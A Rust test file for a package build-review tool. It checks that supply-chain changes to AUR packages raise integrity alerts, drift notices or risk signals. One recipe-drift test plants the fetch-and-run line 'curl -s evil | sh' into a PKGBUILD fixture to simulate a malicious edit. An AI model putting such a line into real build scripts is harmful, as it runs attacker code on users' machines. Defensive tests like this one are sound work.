//! Non-publishable change handling (§5.2, §5.3) and advisory risk scoring (§6). //! //! I11 is the invariant here: **a change that cannot be published is still //! recorded.** The tempting failure mode is "nothing to approve, so nothing to //! say" — which is exactly how a silently swapped tarball becomes invisible. //! Every non-publishable change becomes a `notice` row, and the index keeps //! serving the artifact it has. mod common; use aur_build::db::{self, model::*}; use aur_build::review::risk; use aur_build::review::approve::approve as do_approve; use aur_build::review::{candidates, diff}; use aur_build::watch::detect; use common::*; fn detect_outcome(env: &Env, name: &str) -> detect::Outcome { detect::check_pkgbase(&env.cfg, &env.db, name).unwrap().outcome } /// Approve and publish whatever is currently pending, so the next detection has /// an accepted release to compare against. fn publish_current(env: &Env) { let c = candidates::pending_candidates(&env.db).unwrap().remove(0); let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap(); do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap(); let c = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap(); let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); let out = aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap(); assert!(matches!(out, aur_build::pipeline::Outcome::Succeeded { .. }), "{out:?}"); } #[test] fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() { let (env, fx) = env_with_fixture("digest-drift"); detect_outcome(&env, "digest-drift"); publish_current(&env); // The bytes behind the SKIP source change and the version does not. fx.swap_payload("EVIL: whatever the CDN serves now"); let outcome = detect_outcome(&env, "digest-drift"); match outcome { detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::INTEGRITY_ALERT), other => panic!("expected an integrity alert, got {other:?}"), } assert!( candidates::pending_candidates(&env.db).unwrap().is_empty(), "approving this could not publish anything, so it is not a review" ); let notices = db::list_notices(&env.db, false).unwrap(); assert_eq!(notices.len(), 1, "the alert must not be dropped"); assert_eq!(notices[0].kind, notice_kind::INTEGRITY_ALERT); assert_eq!(notices[0].severity, "high", "this is the highest-value detection we have"); assert!(notices[0].detail_json.contains("no longer serves"), "{}", notices[0].detail_json); // And the index keeps serving the artifact built from the old bytes (I1). assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::::new()); assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1)); } #[test] fn pin_drift_is_a_notice_and_opens_no_review() { let (env, fx) = env_with_fixture("pin-drift"); detect_outcome(&env, "pin-drift"); publish_current(&env); fx.upstream_commit("upstream: 14 more commits, pkgver() still says r1.0\n"); env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]); match detect_outcome(&env, "pin-drift") { detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::PIN_DRIFT), other => panic!("expected pin_drift, got {other:?}"), } assert!(candidates::pending_candidates(&env.db).unwrap().is_empty()); let n = &db::list_notices(&env.db, false).unwrap()[0]; assert_eq!(n.severity, "info", "upstream moving under a frozen pkgver is informational"); assert!(n.detail_json.contains("nothing publishable"), "{}", n.detail_json); } #[test] fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() { let (env, fx) = env_with_fixture("plain-make"); detect_outcome(&env, "plain-make"); publish_current(&env); // The maintainer edits the build() body but forgets to bump pkgrel. let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap(); git(&fx.aur, &["add", "-A"]); git(&fx.aur, &["commit", "-q", "-m", "sneaky"]); match detect_outcome(&env, "plain-make") { detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::RECIPE_DRIFT), other => panic!("expected recipe drift to be recorded, got {other:?}"), } assert!(candidates::pending_candidates(&env.db).unwrap().is_empty()); let n = &db::list_notices(&env.db, false).unwrap()[0]; assert_eq!(n.severity, "warning", "the maintainer probably forgot to bump pkgrel"); assert!(n.detail_json.contains("pkgrel"), "{}", n.detail_json); } #[test] fn skip_on_a_non_vcs_source_is_a_risk_signal() { let (env, _fx) = env_with_fixture("skip-checksum"); detect_outcome(&env, "skip-checksum"); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); let signals = c.risk_signals(); assert!( signals.iter().any(|s| s.starts_with("skip-checksum:")), "SKIP on a static download must be flagged: {signals:?}" ); assert_eq!(c.risk_level, risk::level::HIGH, "an unverified artifact is high risk"); } #[test] fn risk_scoring_compares_against_the_accepted_release() { let (env, fx) = env_with_fixture("plain-make"); detect_outcome(&env, "plain-make"); publish_current(&env); // A metadata-only bump: low risk, nothing alarming. fx.bump(&[("pkgrel", "2")]); detect_outcome(&env, "plain-make"); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); assert_eq!(c.risk_level, risk::level::LOW, "signals: {:?}", c.risk_signals()); assert!(!c.risk_signals().iter().any(|s| s.starts_with("recipe-code-changed"))); // Now change the build body and add a fetching makedep: that is the shape of // a real supply-chain edit and it must say so. let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); std::fs::write( &path, text.replace("echo building plain-make", "cargo build --release") .replace("pkgrel=2", "pkgrel=3\nmakedepends=('cargo')"), ) .unwrap(); git(&fx.aur, &["add", "-A"]); git(&fx.aur, &["commit", "-q", "-m", "modernize"]); detect_outcome(&env, "plain-make"); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); let signals = c.risk_signals(); assert_eq!(c.risk_level, risk::level::HIGH, "signals: {signals:?}"); assert!(signals.iter().any(|s| s == "recipe-code-changed"), "{signals:?}"); assert!(signals.iter().any(|s| s.starts_with("build-tool:cargo")), "{signals:?}"); assert!(signals.iter().any(|s| s.starts_with("new-makedepends:cargo")), "{signals:?}"); } #[test] fn a_first_introduction_is_flagged_as_its_own_kind_of_review() { let (env, _fx) = env_with_fixture("plain-make"); detect_outcome(&env, "plain-make"); let c = candidates::pending_candidates(&env.db).unwrap().remove(0); assert_eq!(c.kind, candidate_kind::FIRST_INTRODUCTION); assert!(c.risk_signals().contains(&"first-introduction".to_string()), "{:?}", c.risk_signals()); assert_ne!(c.risk_level, risk::level::LOW, "the first build here deserves care"); } #[test] fn i11_nothing_publishable_is_ever_silently_dropped() { // Sweep every fixture through detection and assert the outcome is always // one of: a review, a notice, an explicit no-change, or a recorded failure. // There is no path where something moved and we said nothing. let fixtures = [ "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset", "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails", ]; for name in fixtures { let (env, fx) = env_with_fixture(name); let first = detect_outcome(&env, name); assert!( matches!( first, detect::Outcome::Candidate { .. } | detect::Outcome::Notice { .. } | detect::Outcome::Gone | detect::Outcome::Blocked(_) ), "{name}: first detection produced {first:?}" ); // Every notice is a row, not just a return value. let notices = db::list_notices(&env.db, false).unwrap(); if let detect::Outcome::Notice { kind, .. } = &first { assert!( notices.iter().any(|n| &n.kind == kind), "{name}: a {kind} outcome left no notice row" ); } // Now move something and re-detect: still never silent. let _ = fx.bump(&[("pkgrel", "99")]); let second = detect_outcome(&env, name); assert!( !matches!(second, detect::Outcome::NoChange) || name == "git-sourced" || name == "pin-drift", "{name}: a recipe change produced {second:?}" ); } } #[test] fn notices_are_deduplicated_so_a_persistent_problem_does_not_shout() { let (env, fx) = env_with_fixture("digest-drift"); detect_outcome(&env, "digest-drift"); publish_current(&env); fx.swap_payload("EVIL stable"); detect_outcome(&env, "digest-drift"); detect_outcome(&env, "digest-drift"); detect_outcome(&env, "digest-drift"); assert_eq!( db::list_notices(&env.db, false).unwrap().len(), 1, "the same drift polled three times is one alert, not three" ); }